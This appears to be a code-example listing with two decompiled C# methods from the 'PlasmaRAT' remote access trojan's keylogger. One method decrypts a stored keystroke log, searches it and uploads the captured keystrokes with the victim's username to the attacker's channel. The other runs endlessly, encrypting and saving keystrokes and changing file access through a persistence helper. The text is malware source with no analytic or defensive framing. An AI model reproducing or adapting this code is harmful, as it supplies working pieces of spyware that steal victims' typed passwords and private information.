예제 #1
0
 // Token: 0x0600003E RID: 62 RVA: 0x0000448C File Offset: 0x0000268C
 public static void SearchLogs(string query)
 {
     try
     {
         string text = PlasmaRAT.AES_Decrypt(File.ReadAllText(Logger.KeyLogFile));
         if (text.Contains(query))
         {
             string setting = Interaction.GetSetting("Microsoft", "Sysinternals", "PROCID", "");
             PlasmaRAT.Send(string.Concat(new string[]
             {
                 "KEYLOGS*",
                 Environment.UserName.ToString(),
                 ".",
                 setting,
                 "*",
                 text,
                 "\r\n",
                 Logger.KeyLogs
             }));
             PlasmaRAT.TalktoChannel("Found Query in Keylogs, Uploaded Successfully!", string.Empty);
         }
     }
     catch (Exception ex)
     {
     }
 }
예제 #2
0
 // Token: 0x0600003F RID: 63 RVA: 0x0000456C File Offset: 0x0000276C
 public static void SaveLogs()
 {
     for (;;)
     {
         try
         {
             if (Logger.KeyLogs.Length > 150)
             {
                 Persistence.AllowAccess(Logger.KeyLogFile);
                 string str = PlasmaRAT.AES_Decrypt(File.ReadAllText(Logger.KeyLogFile));
                 File.WriteAllText(Logger.KeyLogFile, PlasmaRAT.AES_Encrypt(str + Logger.KeyLogs));
                 Logger.KeyLogs = string.Empty;
             }
         }
         catch (Exception ex)
         {
         }
         Thread.Sleep(1000);
     }
 }